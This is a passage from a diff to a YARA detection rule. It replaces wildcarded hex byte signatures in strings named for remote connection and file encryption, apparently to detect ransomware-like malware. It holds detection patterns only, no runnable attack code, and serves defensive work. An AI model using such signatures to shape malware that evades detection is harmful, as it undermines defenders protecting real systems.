+            ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 57 53 FF 15 ?? ?? ??
+            ?? 8B 55 ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ??
+            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 95 ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ??
+            ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ??
+            FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D ?? 03 C1 83 7D ?? ?? 8D 4D
+            ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ??
+            ?? 83 BD ?? ?? ?? ?? ?? 8D 4D ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ??
+            ?? ?? 83 3D ?? ?? ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B
         }
 		$remote_connection_p3 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 83 EE ?? 75 ?? 8B B5 ?? ?? ?? ?? 8D 46 ?? 83 F8 ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 59 59 89 5D ?? 89 7D ?? 88 9D ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89
-            5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 8B
-            F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ??
-            ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ??
-            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45
+            55 ?? 2B C2 57 51 3B F8 77 ?? 8D 04 3A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34
+            10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 37 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5
+            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 75 ?? 8B C6
+            8B BD ?? ?? ?? ?? 0F 43 CF 8B 55 ?? 2B C2 8B 9D ?? ?? ?? ?? 53 51 3B D8 77 ?? 8D 04
+            1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04
+            1E ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B BD
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 83 3D ?? ??
+            ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 55 ?? 2B C2 53 51
+            3B D8 77 ?? 8D 04 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ??
+            ?? 83 C4 ?? C6 04 33 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8
+            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 45 ?? 0F 43
+            D3 8B 75 ?? 2B C6 8B 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ??
+            8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 06 ??
+            EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 9D ?? ??
+            ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B
         }
 		$remote_connection_p4 = {
-            89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D
-            ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 50 8D 45 ?? 89 4D ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 6A
-            ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? C6 45
-            ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? 8B 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 43 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 50 53 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 8B 75 ?? 0F 43 85 ?? ??
-            ?? ?? 6A ?? 6A ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 40 8D 8D ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? ?? ?? 59 53 FF 75 ?? 8D 8D ?? ?? ?? ?? A3 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 1C 01 E8 ?? ??
-            ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 59 8B 75 ??
-            8D 4D ?? C6 45 ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? 89 70 ?? 8B 45 ??
-            89 30 8B 45 ?? 89 70 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 58 50 68 ?? ?? ?? ?? 83 EC ?? 89
+            45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45
+            ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30
+            ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B D0 83 78 ?? ?? 72 ?? 8B 10
+            8B 48 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D
+            04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4
+            ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ??
+            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 83 3D
+            ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D
+            ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03
+            F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ??
+            ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43
+            55 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04
+            0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ??
+            C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ??
+            83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ??
+            8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 31 89 45 ?? 8D
         }
 		$remote_connection_p5 = {
-            5D ?? 8B CC FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B F8 6A ?? 58
-            FF 35 ?? ?? ?? ?? 85 FF 0F 44 F8 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 5E 6A ?? 68
-            ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ??
-            C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8
-            ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? 8D 4D ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50
-            8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 50 83 C1 ?? E8 ?? ??
-            ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ??
-            68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ??
-            ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1
-            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45
-            ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? C7
-            45 ?? ?? ?? ?? ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D
-            ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D
-            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B F0 6A ?? 58 6A ?? 5F 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? 88 45 ?? 89 5D ?? 89 7D ??
-            88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ??
-            8B 4D ?? 56 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8
-            ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? 89 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83
-            EC ?? C6 45 ?? ?? 8B CC 6A ?? 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? 88 19 E8
+            45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB
+            ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ??
+            ?? 85 F6 74 ?? 8B 45 ?? 8D 4D ?? 83 7D ?? ?? 6A ?? 0F 43 4D ?? 50 50 51 6A ?? FF B5
+            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ??
+            ?? ?? ?? 51 68 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 F6 8B 35 ??
+            ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B
+            85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA
+            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C6 45 ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ??
+            2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ??
+            ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7
+        }
+		$remote_connection_p6 = {
+            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ??
+            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
+            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55
+            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
+            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ??
+            42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
+            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD
+            E8 ?? ?? ?? ?? 8B E5 5D C3
         }
 		$encrypt_files_p1 = {
-            8B FB 89 5D ?? 89 7D ?? 89 5D ?? 8B 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C6 45 ?? ?? 89
-            45 ?? 3B F0 74 ?? 56 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ??
-            8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ?? ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D
-            4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ?? ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 6A
-            ?? 58 03 F0 3B 75 ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8B B5 ?? ?? ?? ??
-            C6 45 ?? ?? 8B 06 89 45 ?? EB ?? 8D 48 ?? 8D 41 ?? 50 51 68 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? C6 45 ?? ?? 3B DF 74 ?? 8B 08 89 0F 8B 48 ?? 89 4F ?? 83 20 ?? 83 60 ??
-            ?? 83 C7 ?? 89 7D ?? EB ?? 50 57 8D 4D ?? E8 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 83 7D ??
-            ?? C6 45 ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 3B C6 75 ?? 8B 75
-            ?? EB ?? 83 7E ?? ?? 74 ?? 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 75 ?? 0F 57 C0 68 ??
-            ?? ?? ?? 66 0F 13 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 6A ?? 59 99
-            F7 F9 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8B
-            75 ?? 8B 7D ?? 89 45 ?? 3B D8 74 ?? 83 EC ?? 8B CC 53 83 61 ?? ?? 83 61 ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 03 F8 83 D6 ?? 6A ?? 58 03 D8 3B 5D ?? 75 ?? 0F AC
-            F7 ?? C1 EE ?? 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 8B 35
-            ?? ?? ?? ?? EB ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 6A ?? 58 03 F0 3B F7 75 ?? 68 ?? ?? ?? ?? E8
+            FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 55 ?? 03 CA 89 85 ?? ?? ?? ??
+            83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83
+            7F ?? ?? 72 ?? 8B 3F 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ??
+            ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76
+            ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 83 7D ?? ?? 8D 4D ?? 66 89 85 ?? ?? ?? ?? 0F 43 4D ?? 8B 45 ?? 03 C1 C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B F0 83 7E ?? ?? 72 ?? 8B 36 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
+            ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+            C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 50 6A ?? 68 ?? ?? ?? ?? 57 8B 3D ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? FF D7 89 85 ?? ?? ?? ?? 83
+            F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF
+            D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C9 BA
         }
 		$encrypt_files_p2 = {
-            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 8D 8D ?? ?? ?? ?? 57
-            56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 33 DB 50 8D 45 ?? 89 5D ?? 50 E8 ?? ?? ?? ?? 59
-            59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B CC 6A ?? 89 59 ?? C7 41
-            ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? 8A D8 E8 ?? ?? ?? ?? 84 DB 74 ?? 33 DB E9 ??
-            ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85
-            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ??
-            ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 33 DB 8B CC 89 5D ?? 56 E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 3B C1 0F 42 C8 3B C7 89
-            4D ?? 0F 42 F8 89 7D ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 9D ?? ?? ?? ?? 75 ?? 83 EC ?? 8B CC 56 E8 ?? ?? ??
-            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 7E ?? ?? C6 45 ?? ?? 72 ?? 8B 36 E8
-            ?? ?? ?? ?? FF 30 E8 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D
-            ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 77 ?? 56 E8 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ??
-            ?? 8B 4D ?? 56 53 51 89 45 ?? E8 ?? ?? ?? ?? 56 53 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ??
-            83 C4 ?? 89 5D ?? 8B D3 85 C0 0F 84 ?? ?? ?? ?? 8B C8 2B CA 39 4D ?? 8B C1 8B F1 0F
-            46 45 ?? 3B F9 89 45 ?? 0F 46 F7 8B 7D ?? 2B CE 89 75 ?? 39 4D ?? 0F 46 4D ?? 89 4D
-            ?? 85 FF 75 ?? 53 56 FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 0C 3E 8B
+            8D 40 ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ??
+            ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 03 CA 89 85 ?? ?? ?? ?? 83 3D ?? ?? ??
+            ?? ?? B8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 51 50 8B CE E8 ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 83 C4 ?? 33 C9 68 ?? ?? ?? ?? 6A ?? 56 66 89 0C 46 8D 85 ?? ?? ??
+            ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
+            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
+            ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
+            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 42
+            8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
+            0F 86 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ??
+            8D 45 ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ??
